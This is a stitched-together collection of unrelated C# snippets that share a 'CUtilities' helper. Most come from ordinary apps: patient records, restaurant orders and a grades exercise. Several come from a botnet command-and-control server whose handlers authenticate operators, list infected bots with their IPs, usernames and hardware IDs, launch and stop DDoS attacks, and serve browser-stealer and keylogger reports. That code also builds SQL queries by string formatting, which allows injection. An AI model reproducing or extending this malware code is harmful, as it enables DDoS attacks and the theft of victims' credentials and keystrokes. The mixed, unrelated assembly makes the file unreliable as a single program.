public CPacket CreatePacket(byte Packet, byte[] arr_bArguments) { try { //Split Buffer to 128-byte long Blocks List <byte[]> lstBlockBuffers = CUtilities.SplitBytes(arr_bArguments, 512); List <CPacketBlock> lstBlocks = new List <CPacketBlock>(); //Create Blocks foreach (Byte[] arr_bBuffer in lstBlockBuffers.ToArray()) { CPacketBlock Block = new CPacketBlock(); Block.Block_ID = lstBlocks.Count + 1; Block.Block_Buffer = arr_bBuffer; lstBlocks.Add(Block); } //Create Packet Header CPacketHeader Header = CPacketHeader.CreateHeader(Packet, lstBlocks.Count); //Create Packet CPacket SendPacket = new CPacket(Header); SendPacket.Data_Blocks = lstBlocks; return(SendPacket); } catch { } return(null); }
//************************************************************************ // ******************* METODOS DE BUSQUEDA ********************* // por fecha de nacimiento private void btn_Rep_BuscarFechaNac_Click(object sender, RoutedEventArgs e) { try { // armar ambas fechas if (string.IsNullOrEmpty(tB_Rep_Year.Text) || string.IsNullOrEmpty(tB_Rep_Year2.Text)) { MessageBox.Show("Revisa el año.", "Error", MessageBoxButton.OK, MessageBoxImage.Error); } int day = cB_Rep_Dia.SelectedIndex + 1; int month = cB_Rep_Mes.SelectedIndex + 1; int year = int.Parse(tB_Rep_Year.Text); DateTime f1 = new DateTime(year, month, day); day = cB_Rep_Dia2.SelectedIndex + 1; month = cB_Rep_Mes2.SelectedIndex + 1; year = int.Parse(tB_Rep_Year2.Text); DateTime f2 = new DateTime(year, month, day); // iterar por todos los pacientes y hacer comparacion List <CPaciente> set = admin.GetListaPacientes(); List <CPaciente> subset = new List <CPaciente>(); foreach (CPaciente p in set) { if (p.fechaNacimiento >= f1 && p.fechaNacimiento <= f2) { subset.Add(p); } } IComparer <CPaciente> c = new CPersonaCompararFechaNacimiento(); subset.Sort(c); CUtilities.FillListView(lV_Rep_FechaNac, subset); } catch { } }
// por cantidad de asistencias private void btn_Rep_CantAsis_Buscar_Click(object sender, RoutedEventArgs e) { try { int cant0 = int.Parse(tB_Rep_CantAsis_Cant0.Text); int cant1 = int.Parse(tB_Rep_CantAsis_Cant1.Text); List <CPaciente> set = admin.GetListaPacientes(); List <CPaciente> subset = new List <CPaciente>(); foreach (CPaciente p in set) { if (p.cantAsistencias >= cant0 && p.cantAsistencias <= cant1) { subset.Add(p); } } IComparer <CPaciente> c = new CPersonaCompararAsistencia(); subset.Sort(c); CUtilities.FillListView(lV_Rep_CantAsis, subset); } catch { MessageBox.Show("Revisa los datos.", "Error", MessageBoxButton.OK, MessageBoxImage.Error); } }
// por fecha asistencia private void btn_Rep_FechaAsist_Buscar_Click(object sender, RoutedEventArgs e) { try { // obtener fecha de asistencia deseada if (string.IsNullOrEmpty(tB_Rep_FechaAsist_Year.Text)) { MessageBox.Show("Revisa el año.", "Error", MessageBoxButton.OK, MessageBoxImage.Error); } int day = cB_Rep_FechaAsist_Day.SelectedIndex + 1; int month = cB_Rep_FechaAsist_Month.SelectedIndex + 1; int year = int.Parse(tB_Rep_FechaAsist_Year.Text); DateTime f1 = new DateTime(year, month, day); List <CPaciente> set = admin.GetListaPacientes(); List <CPaciente> subset = new List <CPaciente>(); foreach (CPaciente p in set) { foreach (CAsistencia a in p.asistencias) { if (f1.ToShortDateString() == a.fechaString) { subset.Add(p); break; } } } IComparer <CPaciente> c = new CPersonaCompararApellido(); subset.Sort(c); CUtilities.FillListView(lV_Rep_FechaAsis, subset); } catch { } }
//ordenar por edad private void SortByEdad(object sender, RoutedEventArgs e) { lV_Pacientes.Items.Clear(); IComparer <CPaciente> comp = new CPersonaCompararEdad(); admin.GetListaPacientes().Sort(comp); CUtilities.FillListView(lV_Pacientes, admin.GetListaPacientes()); }
private void Window_Loaded(object sender, RoutedEventArgs e) { adminCocina = new CAdminCocina(); adminMenu = new CAdminMenu(); ordenActual = new COrden(); adminMenu.Cargar(); CUtilities.FillListView(lV_Menu, adminMenu.GetItems()); }
private void btn_QuitarDeOrden_Click(object sender, RoutedEventArgs e) { if (lV_Pedidos.SelectedIndex >= 0) { ordenActual.RemoveItem(lV_Pedidos.SelectedIndex); CUtilities.FillListView(lV_Pedidos, ordenActual.GetItems(), ordenActual.GetCantidad()); l_TotalOrden.Content = "Total orden: Q" + ordenActual.GetTotalOrden().ToString("0.00"); } }
public IActionResult SetFavorite(int mealId, int isFav) { //update meal to the appropriate value var meal = mealRepository.Find(mealId); meal.IsFavorite = CUtilities.IntToBool(isFav); mealRepository.Update(meal); return(new EmptyResult()); }
private void btn_Buscar_Click(object sender, RoutedEventArgs e) { try { string nombre = tB_Ingreso_Nombre.Text; string apellido = tB_Ingreso_Apellido.Text; ETipoDeSangre sangre = (ETipoDeSangre)cB_Ingreso_Sangre.SelectedIndex; CUtilities.FillListView(lV_Pacientes, admin.BuscarPacientes(nombre, apellido, sangre)); } catch (Exception ex) { MessageBox.Show(ex.Message); } }
private void lV_Menu_MouseDoubleClick(object sender, MouseButtonEventArgs e) { // anadir un item a la orden cuando hay un doble click sobre un item if (lV_Menu.SelectedIndex >= 0) { CItem selectedItem = adminMenu.GetItem(lV_Menu.SelectedIndex); ordenActual.AddItem(selectedItem); l_TotalOrden.Content = "Total orden: Q" + ordenActual.GetTotalOrden().ToString("0.00"); CUtilities.FillListView(lV_Pedidos, ordenActual.GetItems(), ordenActual.GetCantidad()); } }
private void btn_Ingresar_Click(object sender, RoutedEventArgs e) { try { // conseguir datos del paciente de controles string nombre = tB_Ingreso_Nombre.Text; string apellido = tB_Ingreso_Apellido.Text; string razon = tB_Ingreso_Razon.Text; string dpi = tB_DPI.Text; int dia = cB_Dia.SelectedIndex + 1; int mes = cB_Mes.SelectedIndex + 1; // validar fecha de nacimiento int year = Math.Min(int.Parse(tB_Year.Text), DateTime.UtcNow.Year); List <CAsistencia> asis = new List <CAsistencia>(); CAsistencia a = new CAsistencia(DateTime.UtcNow.ToShortDateString(), tB_AsistPacientes_Observaciones.Text); asis.Add(a); DateTime fechaNac = new DateTime(year, mes, dia); ETipoDeSangre sangre = (ETipoDeSangre)cB_Ingreso_Sangre.SelectedIndex; // validar datos if (string.IsNullOrEmpty(nombre) || string.IsNullOrEmpty(apellido) || sangre == ETipoDeSangre.Cualquiera || string.IsNullOrEmpty(dpi) || string.IsNullOrEmpty(tB_Year.Text)) { MessageBox.Show("Revisa los datos.", "Error", MessageBoxButton.OK, MessageBoxImage.Error); } else { // ingresar paciente CPaciente p = new CPaciente(nombre, apellido, dpi, fechaNac, razon, sangre, asis); admin.AgregarPaciente(p); CUtilities.FillListView(lV_Pacientes, admin.GetListaPacientes()); CUtilities.FillListView(lV_AsistPacientes, admin.GetListaPacientes()); logSystem.Loggear(ETipoLog.NuevoPaciente, p); MessageBox.Show("El paciente ha sido agregado.", "Info", MessageBoxButton.OK, MessageBoxImage.Information); // limpiar campos de ingreso tB_Ingreso_Nombre.Text = string.Empty; tB_Ingreso_Apellido.Text = string.Empty; tB_DPI.Text = string.Empty; tB_Year.Text = string.Empty; cB_Dia.SelectedIndex = 0; cB_Mes.SelectedIndex = 0; cB_Ingreso_Sangre.SelectedIndex = 0; tB_Ingreso_Razon.Text = string.Empty; } } catch (Exception ex) { MessageBox.Show("Error al agregar paciente - " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error); } }
public static CPacketHeader CreateHeader(Byte Packet, Int32 iBlockAmount) { try { CPacketHeader Header = new CPacketHeader(); Header.Packet_Ident = CUtilities.RandomString(8); Header.Packet = Packet; Header.Block_Amount = iBlockAmount; return(Header); } catch { } return(null); }
private void btn_Ordenar_Click(object sender, RoutedEventArgs e) { // pasar orden a la cocina y limpiar la listView de orden if (lV_Pedidos.Items.Count > 0) { adminCocina.AddOrder(ordenActual); COrden nuevaOrden = adminCocina.GetFirstOrder(); lv_OrdenCocina.Items.Clear(); lv_OrdenCocina.Items.Add(nuevaOrden.ToString()); ordenActual = new COrden(); CUtilities.FillListView(lV_Pedidos, ordenActual.GetItems()); l_TotalOrden.Content = "Total orden: Q0.00"; } }
public CPaciente(string nombre, string apellido, string dpi, DateTime f, string razon, ETipoDeSangre sangre, List <CAsistencia> asistencias) { this.nombre = nombre; this.apellido = apellido; this.dpi = dpi; fechaNacimiento = f; fechaNacS = fechaNacimiento.ToShortDateString(); this.razon = razon; this.sangre = sangre; this.sangreS = CUtilities.StringValueOf(sangre); CalcularEdad(); this.asistencias = asistencias; cantAsistencias = asistencias.Count; asisReciente = asistencias[cantAsistencias - 1].fechaString; }
private void lV_Pacientes_MouseDoubleClick(object sender, MouseButtonEventArgs e) { // modificar paciente if (lV_Pacientes.SelectedIndex >= 0) { Window_ModificarPaciente window = new Window_ModificarPaciente(lV_Pacientes.SelectedIndex); window.ShowDialog(); CUtilities.FillListView(lV_Pacientes, admin.GetListaPacientes()); CUtilities.FillListView(lV_AsistPacientes, admin.GetListaPacientes()); } else { MessageBox.Show("Haz doble click en un paciente para ver sus detalles.", "Error", MessageBoxButton.OK, MessageBoxImage.Error); } }
//********************************************************************* //Method: private static void GetArray(out int[] aGrades) //Purpose: Generate an array of grades //Parameters: out int[] aGrades - Array of Grades //Returns: Nothing //********************************************************************* private static void GetArray(out int[] aGrades) { int arraySize; //Size of the Array int Index; //Index of the Array Random RNG = new Random(); //Random Number Generator //Get the Array Size from the user CUtilities.GetValue(out arraySize, "Enter the size of the array: ", 0, 10001); //Create the Array aGrades = new int[arraySize]; //Fill the Array with random number for (Index = 0; Index < arraySize; Index++) { aGrades[Index] = RNG.Next(0, 101); } }
public bool SendRSAAuth() { try { if (String.IsNullOrEmpty(this.Public_Key)) { #if DEBUG Console.WriteLine(CConstants.InvalidPublicKey); #endif return(false); } String strAuthString = CUtilities.RandomString(CUtilities.RandomInt(8, 16)); byte[] arr_bRandomString = UnicodeEncoding.Unicode.GetBytes(strAuthString); if (arr_bRandomString == null) { return(false); } arr_bRandomString = CRSA.Encrypt(arr_bRandomString, this.Public_Key, 2048); if (arr_bRandomString == null) { #if DEBUG Console.WriteLine(CConstants.SendRSAAuth_RSAEncrypt_FAILED); #endif return(false); } CPacket KeyPacket = MasterClient.CreatePacket((Byte)MASTER_PACKET.LOGIN_KEY, Convert.ToBase64String(arr_bRandomString)); if (MasterClient.SendPacket(KeyPacket)) { this.AuthString = strAuthString; return(true); } } catch { } return(false); }
private void btn_Ingreso_Eliminar_Click(object sender, RoutedEventArgs e) { if (lV_Pacientes.SelectedIndex >= 0) { try { MessageBoxResult result = MessageBox.Show("Eliminar paciente?", "Confirmar", MessageBoxButton.YesNo, MessageBoxImage.Exclamation); if (result == MessageBoxResult.Yes) { CPaciente p = admin.GetPaciente(lV_Pacientes.SelectedIndex); admin.EliminarPaciente(lV_Pacientes.SelectedIndex); CUtilities.FillListView(lV_Pacientes, admin.GetListaPacientes()); CUtilities.FillListView(lV_AsistPacientes, admin.GetListaPacientes()); logSystem.Loggear(ETipoLog.EliminoPaciente, p); } } catch (Exception ex) { MessageBox.Show(ex.Message); } } }
private void Window_Loaded(object sender, RoutedEventArgs e) { logSystem = new LogSystem(); if (!File.Exists(CUtilities.SAVE_FILE_NAME)) { File.Create(CUtilities.SAVE_FILE_NAME); } admin = new CAdminPacientes(); admin.Cargar(); CUtilities.FillListView(lV_Pacientes, admin.GetListaPacientes()); CUtilities.FillListView(lV_AsistPacientes, admin.GetListaPacientes()); cB_Ingreso_Sangre.SelectedIndex = 0; cB_Dia.SelectedIndex = 0; cB_Mes.SelectedIndex = 0; cB_Rep_Dia.SelectedIndex = 0; cB_Rep_Dia2.SelectedIndex = 0; cB_Rep_Mes.SelectedIndex = 0; cB_Rep_Mes2.SelectedIndex = 0; cB_AsistPacientes_Dia.SelectedIndex = 0; cB_AsistPacientes_Mes.SelectedIndex = 0; cB_Rep_FechaAsist_Day.SelectedIndex = 0; cB_Rep_FechaAsist_Month.SelectedIndex = 0; }
/// <summary> /// Handles received data from Clients that have been identified as Master. /// </summary> /// <param name="Master"></param> /// <param name="Packet"></param> /// <param name="arr_strArguments"></param> void HandleMasterPacket(CMaster Master, MASTER_PACKET Packet, String[] arr_strArguments) { try { switch (Packet) { case MASTER_PACKET.LOGIN_KEY: { if (String.IsNullOrEmpty(Master.Public_Key)) { if (!CUtilities.IsRSAKey(arr_strArguments[0])) { Console.WriteLine("Invalid RSA-Key received."); Master.MasterClient.Stop(); return; } CMaster new_Master = Master; new_Master.Public_Key = arr_strArguments[0]; m_MasterHandler.ReplaceBySocket(Master.MasterClient, new_Master); CMain.DatabaseClient.ExecuteNonResultQuery(String.Format( "UPDATE masters SET master_key='{0}' WHERE master_id={1}", new_Master.Public_Key, new_Master.Master_ID)); new_Master.SendRSAAuth(); } else { if (Master.AuthString == arr_strArguments[0]) { Console.WriteLine("[EVENT] Received correct AuthString."); CMaster new_Master = Master; new_Master.IsAuthorized = true; m_MasterHandler.ReplaceBySocket(Master.MasterClient, new_Master); if (Master.SendAuth()) { Console.WriteLine(CConstants.MasterAuthorized); iLastSync = 0; } else { Master.MasterClient.Stop(); } } else { Console.WriteLine("[EVENT] Received incorrect AuthString."); } } } break; case MASTER_PACKET.BOTLIST: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != CConstants.MASTER_BOTLIST_ARGUMENT_LENGTH) { break; } Int32 iBotPage = -1; if (Int32.TryParse(arr_strArguments[0], out iBotPage)) { if (Master.SendBotlist(m_BotHandler.GetBotlist(iBotPage), iBotPage)) { Console.WriteLine(CConstants.MasterSentBotlist); } } } break; case MASTER_PACKET.ADD_TASK: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != CConstants.MASTER_ADDTASK_ARGUMENT_LENGTH) { break; } /* * [0] = Task(Int32) * [1] = Parameters(String) * [2] = Executes(Int32) */ Int32 iNewTask, iExecutes; if (Int32.TryParse(arr_strArguments[0], out iNewTask) && Int32.TryParse(arr_strArguments[2], out iExecutes)) { m_TaskHandler.Add((BOT_TASK)iNewTask, arr_strArguments[1], iExecutes); iLastSync = 0; } } break; case MASTER_PACKET.REMOVE_TASK: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != CConstants.MASTER_REMOVETASK_ARGUMENT_LENGTH) { break; } Int32 iRemoveTaskID = -1; if (Int32.TryParse(arr_strArguments[0], out iRemoveTaskID)) { if (m_TaskHandler.Remove(iRemoveTaskID)) { Master.SendTaskRemoved(iRemoveTaskID); } } } break; case MASTER_PACKET.DDOS: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 5 /*Add without time configuration*/ && arr_strArguments.Length != 6 /*Add with time configuration*/ && arr_strArguments.Length != 1 /*Remove Task*/) { break; } /* * [0] = Host * [1] = Port * [2] = Type * [3] = Sockets * [4] = Interval * [5] = Hours for attack time */ if (arr_strArguments.Length > 1) { int iPort, iType, iSockets, iInterval; if (!int.TryParse(arr_strArguments[1], out iPort) || !int.TryParse(arr_strArguments[2], out iType) || !int.TryParse(arr_strArguments[3], out iSockets) || !int.TryParse(arr_strArguments[4], out iInterval)) { break; } DateTime?EndDate = null; if (arr_strArguments.Length == 6) { double dHours = -1; if (double.TryParse(arr_strArguments[5], out dHours)) { EndDate = DateTime.Now; EndDate = EndDate.Value.AddHours(dHours); } else { break; } } m_DdosHandler.AddDdos(arr_strArguments[0], iPort, iType, EndDate, iSockets, iInterval); iLastSync = 0; } else if (arr_strArguments.Length == 1) { int iAttackID = -1; if (!int.TryParse(arr_strArguments[0], out iAttackID)) { break; } m_DdosHandler.StopAttack(iAttackID); } } break; case MASTER_PACKET.STEALERLIST: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 1) { break; } int iPage = -1; if (!int.TryParse(arr_strArguments[0], out iPage)) { break; } Master.SendStealerList(CStealerManager.GetPage(iPage, Master.StealerTags), iPage); } break; case MASTER_PACKET.KEYLOGLIST: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 1) { break; } int iPage = -1; if (!int.TryParse(arr_strArguments[0], out iPage)) { break; } Master.SendKeylogList(CKeylogManager.GetPage(m_BotHandler, iPage, Master.KeyloggerTags), iPage); } break; case MASTER_PACKET.KEYLOG: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 1) { break; } int iID = -1; if (!int.TryParse(arr_strArguments[0], out iID)) { break; } Master.SendKeylogReport(iID); } break; case MASTER_PACKET.KEYLOG_REMOVE: { if (!Master.IsAuthorized) { break; } if (arr_strArguments == null || arr_strArguments.Length != 1) { break; } int iReportID = -1; if (!int.TryParse(arr_strArguments[0], out iReportID)) { break; } if (CKeylogManager.RemoveReport(iReportID)) { Master.SendKeylogReportRemoved(iReportID); } } break; case MASTER_PACKET.BROWSER_STEALER_TAG: if (!Master.IsAuthorized) { break; } string strTag = string.Empty; if (arr_strArguments != null && arr_strArguments.Length == 1) { strTag = arr_strArguments[0]; } CMaster New_Master = Master; New_Master.StealerTags = strTag; m_MasterHandler.ReplaceBySocket(Master.MasterClient, New_Master); this.ForceSync(); break; case MASTER_PACKET.KEYLOG_TAG: if (!Master.IsAuthorized) { break; } strTag = string.Empty; if (arr_strArguments != null && arr_strArguments.Length == 1) { strTag = arr_strArguments[0]; } New_Master = Master; New_Master.KeyloggerTags = strTag; m_MasterHandler.ReplaceBySocket(Master.MasterClient, New_Master); this.ForceSync(); break; default: break; } } catch (Exception ex) { Console.WriteLine("[EXCEPTION] Method: HandleMasterPacket; Data: {0}", ex.ToString()); } }
public String GetBotlist(Int32 iPage) { if (iPage > CUtilities.GetPageCount(this.GetTotal())) { return(String.Empty); } try { StringBuilder sbBotlist = new StringBuilder(); String strQuery = String.Format("SELECT * FROM bots LIMIT {0}, {1}", (iPage - 1) * CConfig.ResultsPerPage, CConfig.ResultsPerPage); SQLiteDataReader Result = CMain.DatabaseClient.ExecuteReadQuery(strQuery); if (Result.HasRows) { while (Result.Read()) { int iBotID = -1; if (!int.TryParse(Result["bot_id"].ToString(), out iBotID)) { continue; } int iOnline = -1; if (!int.TryParse(Result["bot_isonline"].ToString(), out iOnline)) { continue; } string strLatency = @"N/A"; if (iOnline == 1) { CBot Bot = this.GetBotByID(iBotID); if (Bot != null) { double dPing = (Bot.LastPong - Bot.LastPing).TotalMilliseconds; //Because Get CPU Usage at Bot sleep(1000) dPing -= 1000; dPing = Math.Round(dPing, MidpointRounding.AwayFromZero); strLatency = string.Format("{0}ms", dPing); } } sbBotlist.AppendFormat("{0}*{1}*{2}*{3}*{4}*{5}*{6}*{7};", Result["bot_id"].ToString(), Result["bot_ipv4"].ToString(), Result["bot_version"].ToString(), Result["bot_os"].ToString(), Result["bot_username"].ToString(), Result["bot_hwid"].ToString(), strLatency, iOnline); } } return(sbBotlist.ToString()); } catch { } return(String.Empty); }
// text field allow only numbers private void TextInputValidationNumbers(object sender, TextCompositionEventArgs e) { e.Handled = !CUtilities.TextOnlyNumbers(e.Text); }